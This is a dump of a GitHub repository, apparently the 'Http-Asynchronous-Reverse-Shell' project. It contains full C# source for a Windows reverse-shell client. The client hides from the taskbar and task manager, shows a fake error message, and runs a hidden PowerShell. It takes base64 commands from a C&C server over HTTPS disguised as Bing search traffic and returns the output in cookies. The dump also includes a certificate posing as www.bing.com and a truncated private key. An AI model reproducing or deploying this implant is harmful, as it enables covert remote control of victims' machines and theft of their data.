├── HARS_Client ├── .vs │ └── HARS │ │ └── v16 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── HARS.sln └── HARS │ ├── Config.cs │ ├── HARS.csproj │ ├── HARS.csproj.user │ ├── HARS.manifest │ ├── IO.cs │ ├── Main.Designer.cs │ ├── Main.cs │ ├── Main.resx │ ├── Program.cs │ ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings │ ├── Utility.cs │ ├── app.config │ └── icon.ico ├── HARS_Server ├── logs │ └── logs.txt ├── server.pem ├── templates │ ├── 1 │ ├── 2 │ ├── 3 │ ├── 4 │ ├── 5 │ ├── 6 │ ├── 7 │ ├── 8 │ ├── 9 │ ├── 10 │ └── 11 └── www │ └── HARS_Server.py ├── Images ├── Architecture.png ├── Concept.png ├── av_detection.png ├── client_demo.gif ├── project_config.png └── server_demo.gif ├── LICENSE └── README.md /HARS_Client/.vs/HARS/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/HARS_Client/.vs/HARS/v16/.suo -------------------------------------------------------------------------------- /HARS_Client/.vs/HARS/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/HARS_Client/.vs/HARS/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /HARS_Client/.vs/HARS/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/HARS_Client/.vs/HARS/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /HARS_Client/HARS.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29324.140 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HARS", "HARS\HARS.csproj", "{ACA853DC-9E74-4175-8170-E85372D5F2A5}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {ACA853DC-9E74-4175-8170-E85372D5F2A5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {ACA853DC-9E74-4175-8170-E85372D5F2A5}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {ACA853DC-9E74-4175-8170-E85372D5F2A5}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {ACA853DC-9E74-4175-8170-E85372D5F2A5}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {83415964-55B4-4667-852C-B54D6A941342} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace HARS 6 | { 7 | using System; 8 | using System.Collections.Generic; 9 | using System.Text; 10 | 11 | namespace HARS 12 | { 13 | class Config 14 | { 15 | /* Behavior */ 16 | // Display a fake error msg at startup 17 | public static bool DisplayErrorMsg = true; 18 | // Title of fake error msg 19 | public static string ErrorMsgTitle = "This application could not be started."; 20 | // Description of fake error msg 21 | public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid."; 22 | // Min delay between the client calls 23 | public static int MinDelay = 2; 24 | // Max delay between the client calls 25 | public static int MaxDelay = 5; 26 | // Fake uri requested - Warning : it must begin with "search" (or need a change on server side) 27 | public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid="; 28 | /* Listener */ 29 | // Hostname/IP of C&C server 30 | public static string Server = "https://127.0.0.1"; 31 | // Listening port of C&C server 32 | public static string Port = "443"; 33 | // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy 34 | public static bool AllowInsecureCertificate = true; 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /HARS_Client/HARS/HARS.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {ACA853DC-9E74-4175-8170-E85372D5F2A5} 8 | WinExe 9 | HARS 10 | HARS 11 | v4.6 12 | 512 13 | true 14 | 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 1.0.0.%2a 27 | false 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | false 41 | 42 | 43 | AnyCPU 44 | pdbonly 45 | true 46 | bin\Release\ 47 | 48 | 49 | prompt 50 | 4 51 | false 52 | false 53 | 54 | 55 | HARS.Program 56 | 57 | 58 | HARS.manifest 59 | 60 | 61 | false 62 | 63 | 64 | LocalIntranet 65 | 66 | 67 | false 68 | 69 | 70 | icon.ico 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | Form 86 | 87 | 88 | Main.cs 89 | 90 | 91 | 92 | 93 | 94 | Main.cs 95 | 96 | 97 | ResXFileCodeGenerator 98 | Resources.Designer.cs 99 | Designer 100 | 101 | 102 | True 103 | Resources.resx 104 | True 105 | 106 | 107 | 108 | 109 | SettingsSingleFileGenerator 110 | Settings.Designer.cs 111 | 112 | 113 | True 114 | Settings.settings 115 | True 116 | 117 | 118 | 119 | 120 | 121 | 122 | -------------------------------------------------------------------------------- /HARS_Client/HARS/HARS.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | fr-FR 11 | false 12 | 13 | -------------------------------------------------------------------------------- /HARS_Client/HARS/HARS.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 48 | 55 | 56 | 70 | -------------------------------------------------------------------------------- /HARS_Client/HARS/IO.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Text; 5 | 6 | namespace HARS 7 | { 8 | class IO 9 | { 10 | public static string stdout = ""; 11 | public static string stderr = ""; 12 | public static bool firstline = true; 13 | public static void readProcess_OutputDataReceived(object sender, DataReceivedEventArgs e) 14 | { 15 | // Write what was sent in the event 16 | if (!firstline) 17 | stdout += e.Data + Environment.NewLine; 18 | else 19 | firstline = false; 20 | } 21 | public static void readProcess_ErrorDataReceived(object sender, DataReceivedEventArgs e) 22 | { 23 | // Write what was sent in the event 24 | stderr += e.Data + Environment.NewLine; 25 | } 26 | public static string DeleteLines(string input, int linesToSkip) 27 | { 28 | int startIndex = 0; 29 | for (int i = 0; i < linesToSkip; ++i) 30 | startIndex = input.IndexOf('\n', startIndex) + 1; 31 | return input.Substring(startIndex); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Main.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace HARS 2 | { 3 | partial class Main 4 | { 5 | /// 6 | /// Variable nécessaire au concepteur. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Nettoyage des ressources utilisées. 12 | /// 13 | /// true si les ressources managées doivent être supprimées ; sinon, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Code généré par le Concepteur Windows Form 24 | 25 | /// 26 | /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas 27 | /// le contenu de cette méthode avec l'éditeur de code. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.SuspendLayout(); 32 | // 33 | // Main 34 | // 35 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 36 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 37 | this.ClientSize = new System.Drawing.Size(372, 173); 38 | this.Name = "Main"; 39 | this.Text = "Setup"; 40 | this.Load += new System.EventHandler(this.Main_Load); 41 | this.Click += new System.EventHandler(this.Main_Click); 42 | this.ResumeLayout(false); 43 | 44 | } 45 | 46 | #endregion 47 | } 48 | } 49 | 50 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Main.cs: -------------------------------------------------------------------------------- 1 | using HARS; 2 | using HARS.HARS; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.ComponentModel; 6 | using System.Data; 7 | using System.Diagnostics; 8 | using System.Drawing; 9 | using System.IO; 10 | using System.Linq; 11 | using System.Net; 12 | using System.Net.Security; 13 | using System.Reflection; 14 | using System.Text; 15 | using System.Text.RegularExpressions; 16 | using System.Threading; 17 | using System.Web; 18 | using System.Windows.Forms; 19 | 20 | namespace HARS 21 | { 22 | public partial class Main : Form 23 | { 24 | // Global 25 | ProcessStartInfo startInfo = new ProcessStartInfo("powershell.exe"); 26 | Process readProcess = new Process(); 27 | string cmd = ""; 28 | string reply = ""; 29 | 30 | public Main() 31 | { 32 | // Init 33 | InitializeComponent(); 34 | // Check if one instance of process is already running 35 | if (Process.GetProcesses().Count(p => p.ProcessName == Process.GetCurrentProcess().ProcessName) > 1) 36 | Environment.Exit(0); 37 | // Set state to minimized 38 | this.WindowState = FormWindowState.Minimized; 39 | this.Opacity = 0.0; 40 | // Hide app from taskbar 41 | this.ShowInTaskbar = false; 42 | // Init shell process 43 | startInfo.RedirectStandardOutput = true; 44 | startInfo.RedirectStandardInput = true; 45 | startInfo.RedirectStandardError = true; 46 | startInfo.WindowStyle = ProcessWindowStyle.Hidden; 47 | startInfo.CreateNoWindow = true; 48 | startInfo.UseShellExecute = false; 49 | startInfo.StandardOutputEncoding = Encoding.GetEncoding(850); 50 | readProcess.StartInfo = startInfo; 51 | readProcess.OutputDataReceived += new DataReceivedEventHandler(IO.readProcess_OutputDataReceived); 52 | readProcess.ErrorDataReceived += new DataReceivedEventHandler(IO.readProcess_ErrorDataReceived); 53 | readProcess.Start(); 54 | readProcess.BeginOutputReadLine(); 55 | readProcess.BeginErrorReadLine(); 56 | } 57 | 58 | // Hide app from task manager 59 | protected override CreateParams CreateParams 60 | { 61 | get 62 | { 63 | var cp = base.CreateParams; 64 | cp.ExStyle |= 0x80; 65 | return cp; 66 | } 67 | } 68 | 69 | private void Exec(string command) 70 | { 71 | string cmd = command; 72 | IO.stdout = ""; 73 | IO.stderr = ""; 74 | IO.firstline = true; 75 | readProcess.StandardInput.WriteLine(cmd + " ; echo FLAG_END"); 76 | } 77 | 78 | private void button1_Click(object sender, EventArgs e) 79 | { 80 | 81 | } 82 | 83 | // Ask server for instructions 84 | private bool FetchCmd() 85 | { 86 | String responseString; 87 | try 88 | { 89 | if (Config.AllowInsecureCertificate) 90 | ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); 91 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 92 | HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(new Uri(Config.Server + ":" + Config.Port + "/" + Config.Url + Utility.RandomString())); 93 | req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 94 | req.UserAgent = "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; 95 | req.Headers.Add("Accept-Encoding","gzip, deflate, br"); 96 | req.Headers.Add("Cookie", Utility.Base64Encode("ASK")); 97 | HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); 98 | using (Stream stream = resp.GetResponseStream()) 99 | { 100 | StreamReader reader = new StreamReader(stream, Encoding.UTF8); 101 | responseString = reader.ReadToEnd(); 102 | } 103 | int lastindex = responseString.LastIndexOf(">"); 104 | if (lastindex != responseString.Length) 105 | { 106 | cmd = responseString.Substring(lastindex + 1, responseString.Length - lastindex - 1); 107 | cmd = Utility.Base64Decode(cmd); 108 | } 109 | return true; 110 | } 111 | catch 112 | { 113 | return false; 114 | } 115 | } 116 | 117 | // Reply to server with result 118 | private bool ReplyCmd() 119 | { 120 | String responseString; 121 | try 122 | { 123 | if (Config.AllowInsecureCertificate) 124 | ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); 125 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 126 | HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(new Uri(Config.Server + ":" + Config.Port + "/" + Config.Url + Utility.RandomString())); 127 | req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 128 | req.UserAgent = "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; 129 | req.Headers.Add("Accept-Encoding", "gzip, deflate, br"); 130 | req.Headers.Add("Cookie", Utility.Base64Encode(reply)); 131 | HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); 132 | using (Stream stream = resp.GetResponseStream()) 133 | { 134 | StreamReader reader = new StreamReader(stream, Encoding.UTF8); 135 | responseString = reader.ReadToEnd(); 136 | } 137 | return true; 138 | } 139 | catch 140 | { 141 | return false; 142 | } 143 | } 144 | 145 | // First connection to server 146 | private bool Init() 147 | { 148 | String responseString; 149 | try 150 | { 151 | if (Config.AllowInsecureCertificate) 152 | ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); 153 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; 154 | HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(new Uri(Config.Server + ":" + Config.Port + "/" + Config.Url + Utility.RandomString())); 155 | req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 156 | req.UserAgent = "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; 157 | req.Headers.Add("Accept-Encoding", "gzip, deflate, br"); 158 | req.Headers.Add("Cookie", Utility.Base64Encode("HELLO")); 159 | HttpWebResponse resp = (HttpWebResponse)req.GetResponse(); 160 | using (Stream stream = resp.GetResponseStream()) 161 | { 162 | StreamReader reader = new StreamReader(stream, Encoding.UTF8); 163 | responseString = reader.ReadToEnd(); 164 | } 165 | if (responseString.Contains(Utility.Base64Encode("HELLO"))) 166 | return true; 167 | return false; 168 | } 169 | catch 170 | { 171 | return false; 172 | } 173 | } 174 | 175 | private void Main_Load(object sender, EventArgs e) 176 | { 177 | // Show fake error message 178 | if (Config.DisplayErrorMsg) 179 | { 180 | var thread = new Thread( 181 | () => 182 | { 183 | MessageBox.Show(Config.ErrorMsgDesc, Config.ErrorMsgTitle, MessageBoxButtons.OKCancel, MessageBoxIcon.Error); 184 | }); 185 | thread.Start(); 186 | } 187 | // Initialise connection to server 188 | if (!Init()) 189 | { 190 | // Exit if server dont reply "hello" 191 | Environment.Exit(0); 192 | } 193 | // Acting forever.. 194 | while (true) 195 | { 196 | try 197 | { 198 | // Random delay between fetchs 199 | Random rnd = new Random(); 200 | int delay = rnd.Next(Config.MinDelay, Config.MaxDelay); 201 | Thread.Sleep(TimeSpan.FromSeconds(delay)); 202 | // Request server if cmd empty 203 | if (cmd == "") 204 | { 205 | FetchCmd(); 206 | } 207 | // Or reply to server with cmd result 208 | else 209 | { 210 | if (cmd == "exit") 211 | { 212 | reply = "EXIT OK"; 213 | ReplyCmd(); 214 | readProcess.StandardInput.WriteLine("exit"); 215 | readProcess.WaitForExit(); 216 | Environment.Exit(0); 217 | } 218 | Exec(cmd); 219 | while (!IO.stderr.Contains("FLAG_END") && !IO.stdout.Contains("FLAG_END")) 220 | { 221 | Thread.Sleep(100); 222 | } 223 | if (IO.stderr.Length > 2) 224 | { 225 | reply = IO.stderr; 226 | } 227 | else 228 | { 229 | try 230 | { 231 | IO.stdout = IO.stdout.Remove(IO.stdout.TrimEnd().LastIndexOf(Environment.NewLine)); 232 | } 233 | catch 234 | { 235 | // Nothing 236 | } 237 | reply = IO.stdout; 238 | } 239 | reply = reply.Replace("FLAG_END", ""); 240 | ReplyCmd(); 241 | IO.stdout = ""; 242 | IO.stderr = ""; 243 | cmd = ""; 244 | reply = ""; 245 | } 246 | } 247 | // Exit if error 248 | catch 249 | { 250 | Environment.Exit(0); 251 | } 252 | } 253 | } 254 | 255 | private void Main_Click(object sender, EventArgs e) 256 | { 257 | 258 | } 259 | 260 | private void Button1_Click_1(object sender, EventArgs e) 261 | { 262 | 263 | } 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Main.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace HARS 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// Point d'entrée principal de l'application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new Main()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Resources; 2 | using System.Reflection; 3 | using System.Runtime.CompilerServices; 4 | using System.Runtime.InteropServices; 5 | 6 | // Les informations générales relatives à un assembly dépendent de 7 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 8 | // associées à un assembly. 9 | [assembly: AssemblyTitle("$Title")] 10 | [assembly: AssemblyDescription("$Description")] 11 | [assembly: AssemblyConfiguration("")] 12 | [assembly: AssemblyCompany("$Company")] 13 | [assembly: AssemblyProduct("$Product")] 14 | [assembly: AssemblyCopyright("$Copyright")] 15 | [assembly: AssemblyTrademark("")] 16 | [assembly: AssemblyCulture("")] 17 | 18 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 19 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 20 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 21 | [assembly: ComVisible(true)] 22 | 23 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 24 | [assembly: Guid("aca853dc-9e74-4175-8170-e85372d5f2a9")] 25 | 26 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 27 | // 28 | // Version principale 29 | // Version secondaire 30 | // Numéro de build 31 | // Révision 32 | // 33 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 34 | // en utilisant '*', comme indiqué ci-dessous : 35 | // [assembly: AssemblyVersion("1.0.*")] 36 | [assembly: AssemblyVersion("1.0.0.0")] 37 | [assembly: AssemblyFileVersion("1.0.0.0")] 38 | [assembly: NeutralResourcesLanguage("")] 39 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace HARS.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. 17 | /// 18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder 19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio. 20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen 21 | // avec l'option /str ou régénérez votre projet VS. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("HARS.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes 51 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace HARS.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.2.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /HARS_Client/HARS/Utility.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | 5 | namespace HARS 6 | { 7 | class Utility 8 | { 9 | public static string Base64Encode(string plainText) 10 | { 11 | var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText); 12 | return System.Convert.ToBase64String(plainTextBytes); 13 | } 14 | public static string Base64Decode(string base64EncodedData) 15 | { 16 | var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData); 17 | return System.Text.Encoding.UTF8.GetString(base64EncodedBytes); 18 | } 19 | public static string RandomString() 20 | { 21 | StringBuilder builder = new StringBuilder(); 22 | Random random = new Random(); 23 | char ch; 24 | for (int i = 0; i < 32; i++) 25 | { 26 | ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65))); 27 | builder.Append(ch); 28 | } 29 | return builder.ToString().ToUpper(); ; 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /HARS_Client/HARS/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /HARS_Client/HARS/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/HARS_Client/HARS/icon.ico -------------------------------------------------------------------------------- /HARS_Server/logs/logs.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/onSec-fr/Http-Asynchronous-Reverse-Shell/105262ee01ecf5ffdf31fabf63f37312098d390c/HARS_Server/logs/logs.txt -------------------------------------------------------------------------------- /HARS_Server/server.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIID1TCCAr2gAwIBAgIUfnPlj8QO6FSbrOQghKy8yad89pwwDQYJKoZIhvcNAQEL 3 | BQAwejELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAldBMRAwDgYDVQQHDAdSZWRtb25k 4 | MR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsMDE1pY3Jv 5 | c29mdCBJVDEVMBMGA1UEAwwMd3d3LmJpbmcuY29tMB4XDTIwMDIxMDA4MjY1MloX 6 | DTIxMDIwOTA4MjY1MlowejELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAldBMRAwDgYD 7 | VQQHDAdSZWRtb25kMR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTAT 8 | BgNVBAsMDE1pY3Jvc29mdCBJVDEVMBMGA1UEAwwMd3d3LmJpbmcuY29tMIIBIjAN 9 | BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqO+eepj/mU2EZ0NIxTA9GyNf3RTy 10 | Cz6z0X5/DMOKdgCrHKnBbZ9pP1JDALzKcy1mIpPuw0CPGjGbp0059RUFNOiJaCuy 11 | zAgr/z3IgVg/krFiEsyoq/UOD2MrVuUSdZFK3IDQusLYzB0QgtW41sevpDcKw5F2 12 | 3st/72AviY/O+sJVlvuTEHV2iscfFvUNAhKkZx1pATcjzWxlyj74fI/R/ZEDCjwW 13 | y1qc0P1WfChbR1IzWe+YOsF/g5yhPfMeEpitr9amGAxQm5YGxWKQTiz0ZJ4I3piJ 14 | 36gDRut2g8FuS7UoGtCGjn6d6r7kA3CRd+Dx24SxPEIemrzHtabzYxFTNQIDAQAB 15 | o1MwUTAdBgNVHQ4EFgQUyxhP/ezLvkA2//lMMWRC/ct4JAAwHwYDVR0jBBgwFoAU 16 | yxhP/ezLvkA2//lMMWRC/ct4JAAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0B 17 | AQsFAAOCAQEAlQSnIUebhyuVD6AS17Xuy9wIYj5SL2z4+8mLenJVPTnF4M05taOV 18 | Hot6ABYZQWqviI6aYRT/UfBYtUgpruf7zKxNftR5JhcHL5ZOUGiVKA399B9ZIFv5 19 | YelmVVWpKqrMwouf2v6ly0LCVsqLdkv/4uTnXfzfz7kmNJXlyVo0OSj65V1Iayrg 20 | RS5Vt/RiVwUmC8ADYyM4e/gQYfCdDOzDFEWt//V53coAcFdNp2GZRkkyV5jp8+LL 21 | 3lP/+EBORXo5a9iOtnMe/8w0xh7/I6ikq/CEcaTaL68RdlNcTcnFJu4akcaszexC 22 | 8M6dSDA0zZ2gp9vkmwpOVkPdIIPXNzSnBw== 23 | -----END CERTIFICATE----- 24 | -----BEGIN PRIVATE KEY----- 25 | MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCo7556mP+ZTYRn 26 | Q0jFMD0bI1/dFPILPrPRfn8Mw4p2AKscqcFtn2k/UkMAvMpzLWYik+7DQI8aMZun 27 | TTn1FQU06IloK7LMCCv/PciBWD+SsWISzKir9Q4PYytW5RJ1kUrcgNC6wtjMHRCC 